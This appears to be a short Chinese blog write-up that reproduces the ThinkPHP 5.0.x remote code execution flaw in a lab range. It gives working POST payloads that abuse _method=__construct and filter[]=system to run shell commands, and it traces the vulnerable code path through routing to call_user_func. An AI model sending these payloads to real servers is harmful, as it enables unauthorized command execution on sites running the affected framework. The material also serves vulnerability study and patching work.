5.0.22的复现情况 漏洞复现靶场就是这个
未开启app_debug 但是存在xxx的method路由 如captcha
payload
POST …./index.php?s=xxx(路由)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
5.0.10版本
打开调试模式
将app_debug改为true
通过POST传入_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
效果同上
以5.0.10源码分析
public index.php 是入口文件
文件包含thinkphp/start.php
调用app:run函数
查看app.php 找到run函数
首先,实例化request
然后一连串初始化
进行url路由检测 routecheck
routecheck中562行 route:check
调用method函数
$method=false config get var_method 在config.php中 初始化var_method是_method
所以method 返回__construct
return调用construct函数
覆盖filter为system
返回app.php
打开了debug 所以type 是method
转到exec函数
进入case method调用回调函数
进入param函数
再次调用method函数
接收REQUEST_METHOD
回到param
return input函数 调用filtervalue
调用call_user_func
执行system(ls);
成功利用漏洞
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.